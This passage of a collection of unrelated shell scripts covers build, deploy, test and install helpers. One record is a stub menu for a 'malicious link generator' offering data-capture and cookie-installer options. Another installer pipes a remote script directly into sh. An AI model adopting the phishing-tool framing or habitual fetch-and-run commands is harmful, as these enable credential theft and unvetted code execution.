rm -f \"$temp_file\"\n \n}\n\nprocess_dir() {\n album_path=\"$1\"\n e_header \"Process directory $album_path\"\n\n album_content=$(mktemp)\n find \"$album_path\" -maxdepth 1 -mindepth 1 > \"$album_content\"\n while read f\n do\n\tif [ -f \"$f\" ]\n\tthen\n\t process_file \"$f\"\n\telse\n\t e_warn \"Ignore [$f]\"\n\tfi\n done < \"$album_content\"\n\n rm -f \"$album_content\"\n}\n\ndirs=( )\nwhile [ $# -gt 0 ]\ndo\n case \"$1\" in\n -q|--quiet)\n quiet=true\n ;;\n *) dirs+=(\"$1\")\n ;;\n esac\n shift\ndone\nfor d in \"${dirs[@]}\"\ndo\n # replace_special_character – - \"$1\"\n process_dir \"$d\"\ndone"} {"text": "aptupdate() {\n force=$1\n lastupdate=$(stat /var/cache/apt/pkgcache.bin | grep Modify | awk '{print $2}')\n today=$(date +%Y-%m-%d)\n if [ \"$lastupdate\" != \"$today\" ]; then\n force=y\n fi\n if [ -n \"$force\" ]; then\n apt-get update\n fi\n\n}\n\naptinstall() {\n name=$1\n if ! dpkg-query -s \"$name\" &> /dev/null; then\n aptupdate\n apt-get install -y $name\n fi\n}\n\ncopypkg() {\n pkgname=$1\n target=$2\n for file in $(dpkg -L $pkgname); do\n if [ -d \"$file\" ]; then\n continue\n fi\n dirname=$(dirname $file)\n if [[ \"$dirname\" == /usr/share/man* ]]; then\n continue\n fi\n if [[ \"$dirname\" == /usr/share/doc* ]]; then\n continue\n fi\n targetdir=\"${target}${dirname}\"\n mkdir -p \"$targetdir\"\n cp $file \"$targetdir\"\n if file \"$file\" | grep dynamic; then\n lddcopy \"$file\" \"$target\"\n fi\n done\n}\n\nensure_lddcopy() {\n aptinstall git\n if ! which lddcopy; then\n pushd /tmp\n git clone --depth=1 https://github.com/maxux/lddcopy.git\n cp /tmp/lddcopy/lddcopy.sh /usr/local/bin/lddcopy\n chmod +x /usr/local/bin/lddcopy\n popd\n fi\n}\n\nensure_go() {\n aptinstall curl\n aptinstall git\n if ! which go; then\n curl https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz > /tmp/go1.8.linux-amd64.tar.gz\n tar -C /usr/local -xzf /tmp/go1.8.linux-amd64.tar.gz\n export PATH=$PATH:/usr/local/go/bin\n fi\n mkdir -p /gopath\n export GOPATH=/gopath\n\n}"} {"text": "depthlove/XCTest-Framework0\n#!/bin/bash\nroot_path=`pwd`\n\n#build\nmkdir -p build/ios\ncd build/ios\n\n# archs=(\"x86_64\" \"arm64\")\narchs=(\"x86_64\")\nfor arch in ${archs[@]};do\n cmake -G \"Xcode\" ../../ -DCMAKE_TOOLCHAIN_FILE=../../cmake/toolchains/ios.cmake -DIOS_ACTIVE_ARCH=\"${arch}\" -DENABLE_DEMO=ON\ndone\n\nopen ${root_path}/build/ios/iOSFramework.xcodeproj"} {"text": "0\n#!/bin/sh\n\nset -x\nset -e\n\nFEATURES=$1\nCHANNEL=$2\n\nif [[ \"$CHANNEL\" != \"beta\" ]]; then\n rustup component add rustfmt\n cargo fmt --all -- --check\n rustup component add clippy\nfi\n\n# Loop over the directories in the project, skipping the target directory\nfor f in *; do\n if [[ -d ${f} ]] && [[ ${f} != \"target\" ]]; then\n # Will not run if no directories are available\n echo \"\\n\\nTesting '${f}' example.\\n\\n\"\n cd ${f}\n cargo run --features \"${FEATURES}\"\n if [[ \"$CHANNEL\" != \"beta\" ]]; then\n cargo clippy -- -D warnings\n fi\n cd ..\n fi\ndone"} {"text": "mathiasrw/ptarmigan\n#!/bin/bash\n\nmsat3=0\nmsat4=0\n\namount() {\n RET=`./ptarmcli -l $1 | jq -e '.result.total_local_msat'`\n expr ${RET} + 1 > /dev/null 2>&1\n if [ $? -gt 1 ]; then\n RET=0\n fi\n echo ${RET}\n}\n\nget_amount() {\n msat3=`amount 3334`\n msat4=`amount 4445`\n echo msat3=${msat3} msat4=${msat4}\n}\n\ncheck_amount() {\n msat3_after=`amount 3334`\n msat4_after=`amount 4445`\n echo msat3=${msat3_after} msat4=${msat4_after}\n if [ $# -eq 1 ] && [ \"$1\" = \"same\" ]; then\n if [ ${msat3} -ne ${msat3_after} ]; then\n echo invalid amount3: != ${msat3}\n exit 1\n fi\n if [ ${msat4} -ne ${msat4_after} ]; then\n echo invalid amount4: != ${msat4}\n exit 1\n fi\n else\n if [ ${msat3} -eq ${msat3_after} ]; then\n echo invalid amount3: == ${msat3}\n exit 1\n fi\n if [ ${msat4} -eq ${msat4_after} ]; then\n echo invalid amount4: == ${msat4}\n exit 1\n fi\n fi\n msat3=${msat3_after}\n msat4=${msat4_after}\n}\n\n\n\necho st4c start\n./example_st4c.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4c end\n\necho st4d start\n./example_st4d.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4d end\n\necho st4e start\n./example_st4e.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4e end\n\necho st4f start\n./example_st4f.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4f end\n\necho disconnect start\n./example_st_quit.sh\nsleep 5\necho disconnect end\n\necho clear skip route\nfor i in 3333 4444\ndo\n ./routing -d ./node_$i -c\ndone\n\necho reconnect start\n./example_st_conn.sh\nsleep 5\ncheck_amount same\necho reconnect end\n\necho st4c start\n./example_st4c.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4c end\n\necho st4d start\n./example_st4d.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4d end\n\necho st4e start\n./example_st4e.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4e end\n\necho st4f start\n./example_st4f.sh\nsleep 5 # XXX: TODO\ncheck_amount\necho st4f end\n\necho st5 start\n./example_st5.sh\nsleep 5 # XXX: TODO\necho st5 end"} {"text": "update_posts.sh1-10\n#!/usr/bin/env bash\n\nfind_branch=\"git symbolic-ref -q HEAD\"\nfind_upstream=\"git for-each-ref --format=%(upstream:short)\"\n\necho Started updating posts...\ndate\n\necho Updating posts and website...\ncd /var/www/source\ngit fetch --all\ngit reset --hard $($find_upstream $($find_branch))\njekyll build"} {"text": "0\n#!/bin/bash\n##\n#\n# run tests. \n# \n\n# start testing: \nif [ -z \"${VLET_INSTALL}\" ] ; then \n VLET_INSTALL=\"..\"\nfi\n\nexport CLASSPATH=junit.jar:vletTests.jar:ant-junit.jar \nant -f runtest.xml $1 -Dvlet.install=.."} {"text": "34x/web-piano\n# there is a bug in snowpack with mounted folders and\n# baseUlr is not respected\n# we are using hithub pages wit web-piano prefix for now\n# can be removed after moving to a custom domain or snowpack fix\nfind build/bundle -type f -name \"*.js\" -print0 | xargs -0 sed -i'.js.bkp' 's|\"/bundle/|\"/web-piano/bundle/|g'\nfind build/bundle -type f -name \"*.js\" -print0 | xargs -0 sed -i'.js.bkp' 's|\"/midi/|\"/web-piano/midi/|g'"} {"text": "perf_testing/r740/vpp/ovs/setup.sh0\nip netns add ns2\nip l set eno2 netns ns2\nip l set eno4 netns ns2\nip netns exec ns2 ifconfig eno2 up\nip netns exec ns2 ifconfig eno4 up"} {"text": "#!/usr/bin/env bash\n\nset -euo pipefail\n\nIMAGE=\"teletracking/rds_exporter\"\nVERSION=$(semversioner current-version)\n\ndocker push \"${IMAGE}:${VERSION}\"\n\ndocker push \"${IMAGE}:latest\""} {"text": "#!/bin/bash\n\nwget -O $1.gif \"http://stereo.nypl.org/view/$1.gif?n=1\"\n\nconvert $1.gif -coalesce +adjoin $1_%01d.png\n\n./run-torchwarp.sh $1"} {"text": "#!/bin/sh\n\nfor i in {1..50}\ndo\n echo \"Creating folder /mnt-gluster/cdl-data/refit/v2/vol-$i\"\n mkdir /mnt-gluster/cdl-data/refit/v2/vol-$i\n chmod -R 777 /mnt-gluster/cdl-data/refit/v2/vol-$i\ndone"} {"text": "flow.plugin.zsh\n######################################\n# Section: TYPO3 Flow Autocompletion Helper\n######################################\n\n#\n# the ZSH autocompletion function for TYPO3 Flow (main entry point)\n#\n_flow() {\n if _flow_is_inside_base_distribution; then\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n if (( $CURRENT > 2 )); then\n CURRENT=$CURRENT-1\n local cmd=${words[2]}\n shift words\n\n _flow_subcommand\n else\n _flow_main_commands\n fi\n cd $startDirectory\n fi\n}\ncompdef _flow flow\n\n#\n# Autocompletion function for the main commands. Is executed\n# from the root of the FLOW3 distribution.\n#\n_flow_main_commands() {\n if [ ! -f Data/Temporary/Development/.flow-autocompletion-maincommands ]; then\n mkdir -p Data/Temporary/Development/\n ./flow help | grep \"^[* ][ ]\" | php $ZSH/custom/plugins/flow/helper-postprocess-cmdlist.php > Data/Temporary/Development/.flow-autocompletion-maincommands\n fi\n\n # fills up cmdlist variable\n eval \"`cat Data/Temporary/Development/.flow-autocompletion-maincommands`\"\n\n _describe 'flow command' cmdlist\n}\n\n#\n# Autocompletion function for a single commands. Is executed\n# from the root of the TYPO3 Flow distribution.\n#\n_flow_subcommand() {\n if [ ! -f Data/Temporary/Development/.flow-autocompletion-command-$cmd ]; then\n ./flow help $cmd > Data/Temporary/Development/.flow-autocompletion-command-$cmd\n fi\n\n compadd -x \"`cat Data/Temporary/Development/.flow-autocompletion-command-$cmd`\"\n}\n\n######################################\n# Section: Internal Utility Functions\n######################################\n\n#\n# Returns 0 if INSIDE a Flow distribution, and 1 otherwise.\n# can be used like:\n# if _flow_is_inside_base_distribution; then ... ;fi\n#\n_flow_is_inside_base_distribution() {\n local startDirectory=`pwd`\n while [[ ! -f flow ]]; do\n\n if [[ `pwd` == \"/\" ]]; then\n cd $startDirectory\n return 1\n fi\n cd ..\n done\n cd $startDirectory\n return 0\n}\n\n######################################\n# Section: Flow Command from subdir\n######################################\n\n#\n# Implementation of a FLOW3 command which can be executed inside\n# sub directories of the FLOW3 distribution; just finds the base\n# distribution directory and calls the appropriate FLOW3 command\n#\nflow() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n ./flow $@\n cd $startDirectory\n}\n\n######################################\n# Section: Unit / Functional Test\n######################################\n\n#\n# Implementation of a command to run unit tests\n#\nfunittest() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n local flowBaseDir=`pwd`\n local phpunit=\"phpunit\"\n if [ -f bin/phpunit ]\n \tlocal phpunit=\"$flowBaseDir/bin/phpunit\"\n\n cd $startDirectory\n\n $phpunit -c $flowBaseDir/Build/BuildEssentials/PhpUnit/UnitTests.xml --colors $@\n}\n\n#\n# Implementation of a command to run functional tests\n#\nffunctionaltest() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n local flowBaseDir=`pwd`\n local phpunit=\"phpunit\"\n if [ -f bin/phpunit ]\n \tlocal phpunit=\"$flowBaseDir/bin/phpunit\"\n\n cd $startDirectory\n\n $phpunit -c $flowBaseDir/Build/BuildEssentials/PhpUnit/FunctionalTests.xml --colors $@\n}\n\n######################################\n# Section: Behat (Behavioral) Tests\n######################################\nfbehattest() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n local flowBaseDir=`pwd`\n\n if [ ! -f bin/behat ]; then\n echo \"Behat not found, downloading flowpack/behat\"\n composer require --dev --prefer-source --no-interaction flowpack/behat dev-master\n rm -Rf Data/Temporary\n rm -Rf Build/Behat\n echo \"Setting up Behat...\"\n ./flow behat:setup\n fi\n\n cd $startDirectory\n\n $flowBaseDir/bin/behat -c $@\n}\n\n\n\n######################################\n# Section: f-package-foreach\n######################################\n\nf-package-foreach() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n\n local flowBaseDir=`pwd`\n\n command=$*\n baseDirectory=`pwd`\n for directory in `composer status -vvv 2>&1 | grep \"Executing command\" | cut -d'(' -f2 | cut -d')' -f1 | grep -v \"Packages/Libraries\" | grep Packages`\n do\n cd \"$directory\"\n\n echo ''\n echo '--------------------------------------------'\n echo $directory\n echo '--------------------------------------------'\n eval $command\n\n cd \"$baseDirectory\"\n done\n\n cd $startDirectory\n\n}\n\n######################################\n# Section: Flow Distribution maintenance helpers\n######################################\n\n#\n# Utility to choose the current Flow distribution. Sets cdpath correctly,\n# such that packages inside a distribution are found automatically.\n#\nf-set-distribution() {\n echo \"Enter the TYPO3 Flow distribution path number which should be active currently!\"\n echo \"--------------------------------------------------------------------------\"\n local i=1\n for thePath in $flow_distribution_paths; do\n echo -n $i\n echo -n \" \"\n echo $thePath\n i=` expr $i + 1`\n done\n echo -n \"Your Choice: \"\n read choice\n echo $flow_distribution_paths[$choice] > $ZSH/custom/plugins/flow/f-environment-choice.txt\n\n # Now, after updating f-environment-choice.txt, send USR2 signal to\n # all running ZSH instances such that they reload\n ps xwwo pid,command | grep -v login | while read pid command; do\n if echo $command | egrep -- \"(bin/|-)zsh\" >/dev/null; then\n kill -USR2 $pid\n fi\n done\n}\n\n#\n# Callback being executed when USR2 signal is fired\n#\nTRAPUSR2() {\n _f-update-distribution-path\n}\n\n#\n# Internal helper to update cdpath\n#\n_f-update-distribution-path() {\n if [ -f $ZSH/custom/plugins/flow3/f-environment-choice.txt ]; then\n else\n return\n fi\n local fBasePath=`cat $ZSH/custom/plugins/flow/f-environment-choice.txt`\n\n # we need to add \".\" to the current CDPath, else Composer etc breaks...\n cdpath=(. $fBasePath/Packages/Framework/ $fBasePath/Packages/Application/ $fBasePath/Packages/Sites/)\n export CDPATH\n}\n\n# This helper needs to be run initially to set the CDPath correctly\n_f-update-distribution-path\n\n######################################\n# Section: Open Flow Log in iTerm 2\n######################################\n\nflogs() {\n if _flow_is_inside_base_distribution; then\n else\n echo \"ERROR: TYPO3 Flow not found inside a parent of current directory\"\n return 1\n fi\n\n local startDirectory=`pwd`\n while [ ! -f flow ]; do\n cd ..\n done\n local flowBaseDir=`pwd`\n cd $startDirectory\n\n flow_path=\"$flowBaseDir\" osascript $ZSH/custom/plugins/flow/flowlog.applescript\n\n}"} {"text": "vincent-noel/UC2Workflow\n#!/bin/bash\ncat $1 | sed \"s@../../data@$(readlink -f ../../resources/data)@g\" | awk 'NR>1 {print $0 > substr($1,1) \".tsv\"}'\nsed -i \"1 i\\\\$(head -n 1 $1 )\" *.tsv\n#mv *.tsv $(dirname $1)"} {"text": "docs/deploy.sh\n#!/bin/bash\npython autogen.py\nmkdocs build\ncp -r img site\ncp -r img sources\nmkdocs gh-deploy"} {"text": "#!/bin/sh\n\n# Quick and easy install via curl and wget.\n#\n# All of the heavy lifting is done by run_cloud.sh: this\n# script just clones the uproxy-docker repo and executes\n# run_cloud.sh from there.\n#\n# Heavily based on Docker's installer at:\n# https://get.docker.com/.\n\nset -e\n\nREQUIRED_COMMANDS=\"docker git nc\"\n\nAUTOMATED=false\nKEY=\nUPDATE=false\nBRANCH=\nPUBLIC_IP=\nZORK_IMAGE=\nSSHD_IMAGE=\n\nusage() {\n echo \"$0 [-a] [-k key] [-u] [-d ip] [-z zork_image] [-s sshd_image] [-b branch] [-h]\"\n echo \" -a: do not output complete invite URL\"\n echo \" -k: public key, base64 encoded (if unspecified, a new invite code is generated)\"\n echo \" -u: update Docker images (preserves invites and metadata)\"\n echo \" -d: override the detected public IP (for development only)\"\n echo \" -z: override default Zork image\"\n echo \" -s: override default sshd image\"\n echo \" -b: github branch from which to run setup scripts\"\n echo \" -h, -?: this help message\"\n exit 1\n}\n\nwhile getopts k:aud:z:s:b:h? opt; do\n case $opt in\n a) AUTOMATED=true ;;\n k) KEY=\"$OPTARG\" ;;\n u) UPDATE=true ;;\n d) PUBLIC_IP=\"$OPTARG\" ;;\n s) SSHD_IMAGE=\"$OPTARG\" ;;\n z) ZORK_IMAGE=\"$OPTARG\" ;;\n b) BRANCH=\"$OPTARG\" ;;\n *) usage ;;\n esac\ndone\nshift $((OPTIND-1))\n\ncommand_exists() {\n command -v \"$@\" > /dev/null 2>&1\n}\n\nshow_deps() {\n echo \"This script depends on the following commands: $REQUIRED_COMMANDS\"\n echo \"Please install them before running this script. Instructions\"\n echo \"for installing Docker can be found here:\"\n echo \" https://docs.docker.com/mac/started/\"\n exit 1\n}\n\ndo_install() {\n # Since we cannot currently use DigitalOcean's Docker slug, install Docker\n # if necessary. We also run a few other dependency checks to help those\n # running on unsupported systems. Note that git is *not* present by default\n # on DigitalOcean's Ubuntu 14.04 image: Docker's installer installs it. This\n # is why we check for Docker first, even though it may seem cleaner to test\n # for lighter-weight dependencies first.\n if ! command_exists docker\n then\n if [ \"$USER\" != \"root\" ]\n then\n show_deps\n fi\n echo \"Docker not found, running Docker installer.\"\n curl -fsSL https://get.docker.com/ | sh\n fi\n # We depend on --build-arg, introduced in Docker 1.9.\n # Some distros are really slow to update.\n if [ `docker version --format '{{.Server.Version}}' | cut -d . -f 2` -lt 9 ]\n then\n echo \"Before running this script, please upgrade Docker to version 1.9 or\"\n echo \"greater. If you have containers or images you wish to use afterwards,\"\n echo \"read this page first:\"\n echo \" https://github.com/docker/docker/wiki/Engine-v1.10.0-content-addressability-migration\"\n exit 1\n fi\n\n for dep in $REQUIRED_COMMANDS\n do\n if ! command_exists $dep\n then\n show_deps\n fi\n done\n\n echo \"CLOUD_INSTALL_STATUS_DOWNLOADING_INSTALL_SCRIPTS\"\n TMP_DIR=`mktemp -d`\n GIT_CLONE_ARGS=\n if [ -n \"$BRANCH\" ]\n then\n GIT_CLONE_ARGS=\"$GIT_CLONE_ARGS -b $BRANCH\"\n fi\n git clone --depth 1 $GIT_CLONE_ARGS https://github.com/uProxy/uproxy.git $TMP_DIR\n\n RUN_CLOUD_ARGS=\n if [ \"$AUTOMATED\" = true ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -a\"\n fi\n if [ \"$UPDATE\" = true ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -u\"\n fi\n if [ -n \"$KEY\" ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -k $KEY\"\n fi\n if [ -n \"$PUBLIC_IP\" ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -d $PUBLIC_IP\"\n fi\n if [ -n \"$ZORK_IMAGE\" ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -z $ZORK_IMAGE\"\n fi\n if [ -n \"$SSHD_IMAGE\" ]\n then\n RUN_CLOUD_ARGS=\"$RUN_CLOUD_ARGS -s $SSHD_IMAGE\"\n fi\n $TMP_DIR/docker/testing/run-scripts/run_cloud.sh $RUN_CLOUD_ARGS\n}\n\n# Wrapped in a function for some protection against half-downloads.\ndo_install"} {"text": "optirun docker run -it \\\n --name refrain-my_quadrotor \\\n --net myquadnet \\\n --ip 172.19.0.10 \\\n --gpus all \\\n --user $(id -u $USER) \\\n --env \"DISPLAY\" \\\n --workdir=\"/home/$USER\" \\\n --volume=\"/l/p/lenta/refrain/gazebo:/home/$USER\" \\\n --volume=\"/etc/group:/etc/group:ro\" \\\n --volume=\"/etc/passwd:/etc/passwd:ro\" \\\n --volume=\"/etc/shadow:/etc/shadow:ro\" \\\n --volume=\"/etc/sudoers.d:/etc/sudoers.d:ro\" \\\n --volume=\"/tmp/.X11-unix:/tmp/.X11-unix:rw\" \\\n gazebo \\\n gazebo --verbose .gazebo/worlds/my_quadrotor.world\n #/bin/bash"} {"text": "clear\necho \"Generador De Enlaces Maliciosos\"\necho \" \"\necho \"by NePtYx\"\necho \" \"\necho \"Escoge un link que deses generar:\"\necho \" \"\necho \"1)Capturacion_de_datos.sh\"\necho \"2)Instalador_de_cookies.sh\"\necho \"3)Crea_el_tuyo.sh\"\necho \"4)Exit.sh\"\nread input\n./$input\necho \"Error $input no se reconoce como archivo\""} {"text": "#!/usr/bin/env bash\n#\n# // SPDX-License-Identifier: BSD-3-CLAUSE\n#\n# (C) Copyright 2018, Xilinx, Inc.\n#\n#!/bin/bash\n\n# Set Platform Environment Variables\nif [ -z $MLSUITE_ROOT ]; then\n MLSUITE_ROOT=../..\nfi\n\n. ${MLSUITE_ROOT}/overlaybins/setup.sh \n\nfor BITWIDTH in 16 8; do\n python $MLSUITE_ROOT/xfdnn/tools/quantize/quantize.py \\\n --deploy_model $MLSUITE_ROOT/models/caffe/mobilenet/fp32/mobilenet_without_bn_deploy.prototxt \\\n --output_json $MLSUITE_ROOT/examples/quantize/work/caffe/mobilenet/mobilenet_without_bn_quantized_int${BITWIDTH}_deploy.json \\\n --weights $MLSUITE_ROOT/models/caffe/mobilenet/fp32/mobilenet_without_bn.caffemodel \\\n --calibration_directory $MLSUITE_ROOT/models/data/ilsvrc12/ilsvrc12_img_cal \\\n --calibration_size 32 \\\n --bitwidths ${BITWIDTH},${BITWIDTH},${BITWIDTH} \\\n --dims 3,224,224 \\\n --transpose 2,0,1 \\\n --channel_swap 2,1,0 \\\n --raw_scale 255.0 \\\n --mean_value 103.94,116.78,123.68 \\\n --input_scale 0.017\ndone"} {"text": "DanielTakeshi/DCUR\n# ------------------------------------------------------------------------------ #\n# Offline RL, with the noise predictor, add '_np' to the end to NAME.\n# ------------------------------------------------------------------------------ #\n# This would be easier if we could have a scalable way of referring to the DATA\n# and noise predictor files. Alas, for now we put in checks in the script.\n# ------------------------------------------------------------------------------ #\nCPU1=0\nCPU2=10\n\n# For the uniform noise case, pick one:\nDIST=uniform_0.0_0.25\nDIST=uniform_0.0_0.50\nDIST=uniform_0.0_0.75\nDIST=uniform_0.0_1.00\nDIST=uniform_0.0_1.25\n\n# Main new things: N_PATH for noise path, N_ALPHA for alpha strength of reward shaping.\nN_ALPHA=10.0\nENV=Walker2d-v3\nNAME=walker2d_td3_offline_${DIST}_np_${N_ALPHA}\nT_SOURCE=walker2d_td3_act0-1_s10\nB_PATH=walker2d_td3_act0-1/${T_SOURCE}/buffer/rollout-maxsize-1000000-steps-1000000-noise-${DIST}-dtype-train.p\nN_PATH=walker2d_td3_act0-1/${T_SOURCE}/experiments/sigma_predictor-${DIST}-t-1000000-v-0500000.tar\n\n# These seeds are for the STUDENT, with a FIXED teacher.\nfor SEED in 10 20 ; do\n taskset -c ${CPU1}-${CPU2} python spinup/teaching/offline_rl.py \\\n --env ${ENV} --exp_name ${NAME} --seed ${SEED} -bp ${B_PATH} --t_source ${T_SOURCE} -np ${N_PATH} -na ${N_ALPHA}\ndone"} {"text": "install.sh10-100\nsudo cp jetson_stats_prometheus_collector.py /usr/local/bin/\n\n# Install service for the current user\nmkdir -p ~/.config/systemd/user\ncp jetson_stats_prometheus_collector.service ~/.config/systemd/user/\nsystemctl --user daemon-reload\nsystemctl --user start jetson_stats_prometheus_collector\nsystemctl --user status jetson_stats_prometheus_collector"} {"text": "#!/usr/bin/env bats\n\n# App Mesh Gateway e2e tests\n\nset -o errexit\n\nexport REPO_ROOT=$(git rev-parse --show-toplevel)\nexport KUBECONFIG=\"$(kind get kubeconfig-path --name=\"kind\")\"\n\nload ${REPO_ROOT}/test/e2e-lib.sh\n\nmesh=appmesh\nname=flagger-appmesh-gateway\nnamespace=appmesh-gateway\n\nfunction setup() {\n applyCRDs\n applyMesh\n waitForMesh $mesh $namespace\n}\n\n@test \"App Mesh Gateway\" {\n # run kustomization for the locally built image\n kubectl apply -k ${REPO_ROOT}/kustomize/nodeport\n kubectl -n $namespace set image deployment/$name controller=test/flagger-appmesh-gateway:latest\n\n # run install tests\n waitForService $name $namespace\n waitForDeployment $name $namespace\n waitForVirtualNode $name $namespace\n\n # run discovery tests\n kubectl apply -k ${REPO_ROOT}/kustomize/test\n waitForVirtualService \"podinfo.test\" \"test\"\n waitForVirtualNodeBackend $name $namespace \"podinfo.test\"\n}"} {"text": "mwcproject/tor_android_buildssetup_linux.sh\n#!/bin/sh\n\n\n# Add deps\nsudo apt update\nsudo apt-get install expect\n\nsudo apt-get install g++-multilib libc6-dev-i386\nsudo apt-get install libc6-i386 lib32z1 lib32stdc++6\n\n# preparing custom rust build\ncat helpers/ndk_21_1/ndk_* | bzip2 -dc | tar xvf -"} {"text": "mkdir -p $HOME/src\nmkdir -p $HOME/static\n\napt install m4\napt-get install python-dev\necho 172.16.31.10 github-production-release-asset-2e65be.s3.amazonaws.com >>/etc/hosts\n/etc/init.d/networking restart\n\nv=6.1.2\ncd $HOME/src\nwget https://gmplib.org/download/gmp/gmp-${v}.tar.bz2\ntar -jxvf gmp-${v}.tar.bz2 && cd gmp-${v}\n./configure --prefix=$HOME/static --enable-static --disable-shared --with-pic\nmake && make check && make install\n\nv=4.0.1\ncd $HOME/src\n#wget http://www.mpfr.org/mpfr-current/mpfr-${v}.tar.bz2\nwget http://ftp.gnu.org/gnu/mpfr/mpfr-${v}.tar.bz2\ntar -jxvf mpfr-${v}.tar.bz2 && cd mpfr-${v}\n./configure --prefix=$HOME/static --enable-static --disable-shared --with-pic --with-gmp=$HOME/static\nmake && make check && make install\n\nv=1.1.0\ncd $HOME/src\nwget ftp://ftp.gnu.org/gnu/mpc/mpc-${v}.tar.gz\ntar -zxvf mpc-${v}.tar.gz && cd mpc-${v}\n./configure --prefix=$HOME/static --enable-static --disable-shared --with-pic --with-gmp=$HOME/static --with-mpfr=$HOME/static\nmake && make check && make install\n\nv=2.1.0a1\ncd $HOME/src\nwget https://github.com/aleaxit/gmpy/releases/download/gmpy2-2.1.0a1/gmpy2-${v}.tar.gz\ntar xf gmpy2-${v}.tar.gz && cd gmpy2-${v}\npython setup.py build_ext --static=$HOME/static install"} {"text": "script/kafka.sh0\n#!/usr/bin/env bash\n\nscriptdir=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" > /dev/null && pwd )\"\nsource $scriptdir/common.sh\n\n${KAFKA_HOME}/bin/kafka-server-start.sh \\\n ${KAFKA_HOME}/config/server.properties"} {"text": "#!/bin/bash\n\necho \"Starting service\"\n\n# This runs the set environment script. The `.` is important - it makes the\n# exports visible in *this* context, not just within the script.\n. set-environment\n\nexport GATEWAY_IP=$(ip route | grep default | cut -d ' ' -f 3)\nexport STATSD_HOST=${STATSD_HOST:-$GATEWAY_IP}\n\nset -x\nhs-app-template service \\\n ${AWS_REGION+ --region \"${AWS_REGION}\" } \\\n ${KAFKA_BROKER+ --kafka-broker \"${KAFKA_BROKER}\" } \\\n ${KAFKA_GROUP_ID+ --kafka-group-id \"${KAFKA_GROUP_ID}\" } \\\n ${KAFKA_SCHEMA_REGISTRY+ --kafka-schema-registry \"${KAFKA_SCHEMA_REGISTRY}\" } \\\n ${KAFKA_POLL_TIMEOUT_MS+ --kafka-poll-timeout-ms \"${KAFKA_POLL_TIMEOUT_MS}\" } \\\n ${KAFKA_QUEUED_MAX_MESSAGES_KBYTES+ --kafka-queued-max-messages-kbytes \"${KAFKA_QUEUED_MAX_MESSAGES_KBYTES}\" } \\\n ${KAFKA_DEBUG_ENABLE+ --kafka-debug-enable \"${KAFKA_DEBUG_ENABLE}\" } \\\n ${KAFKA_CONSUMER_COMMIT_PERIOD_SEC+ --kafka-consumer-commit-period-sec \"${KAFKA_CONSUMER_COMMIT_PERIOD_SEC}\" } \\\n ${INPUT_TOPIC_IN+ --input-topic \"${INPUT_TOPIC_IN}\" } \\\n ${STATSD_HOST+ --statsd-host \"${STATSD_HOST}\" } \\\n ${STATSD_SAMPLE_RATE+ --statsd-sample-rate \"${STATSD_SAMPLE_RATE}\" } \\\n ${STATSD_TAGS+ --statsd-tags \"${STATSD_TAGS}\" } \\\n ${LOG_LEVEL+ --log-level \"${LOG_LEVEL}\" }"} {"text": "themes/joshuaestes/joshuaestes.theme.zsh\n# [PHP Info] [Git Information]\n# ~/code/joshuaestes/pms\nsetopt prompt_subst\nPS1='%f%k%F{magenta}%n%F{grey}@%F{yellow}%M%F{green}[%F{blue}$(phpbrew_current_php_version)%F{green}][%F{cyan}${vcs_info_msg_0_}%F{green}]%f%k\n%F{green}%~%f%k %F{grey}%#%f%k '\nRPS1=\"%f%k\"\nRPS2=\"%f%k\""} {"text": "soapisnotfat/experience-extraction-from-gameplay-video\nwget https://storage.googleapis.com/model_collection/skyrim-transfer-learning/model.tar"} {"text": "JoNz94/dotfiles\n# snap command aliases\n\nif type snap &> /dev/null; then\n alias sud='snap refresh --list'\n alias sug='sudo snap refresh'\nfi"} {"text": "!/bin/bash\nfor i in 1 2 3\ndo\n ./UserApp_2lock.exe ../SSSP/inputs/rmat16-2e22.edgelist\ndone\nfor i in 1 2 3\ndo\n ./UserApp_2lock.exe ../SSSP/inputs/r4-2e23.edgelist\ndone"} {"text": "#!/usr/bin/env bash\nset -e\n\netcd1_ip=$(jq -r '.values.root_module.child_modules[] | .resources[] | select(.values.name == \"etcd1\").values.network_interface[0].addresses[0]' show.json)\n\netcdctl --endpoints \"https://$etcd1_ip:2379\" \\\n --ca-file ./certs/generated/etcd/ca.pem \\\n --cert-file ./certs/generated/etcd/peer.pem \\\n --key-file ./certs/generated/etcd/peer-key.pem \\\n member list \\\n | tee /dev/stderr | grep -q isLeader=true\n\nk --request-timeout 1 cluster-info\n\nk run --rm --attach --restart Never \\\n --image busybox \\\n busybox \\\n --command id \\\n | tee /dev/stderr | grep -q \"uid=0(root) gid=0(root) groups=10(wheel)\"\n\nk 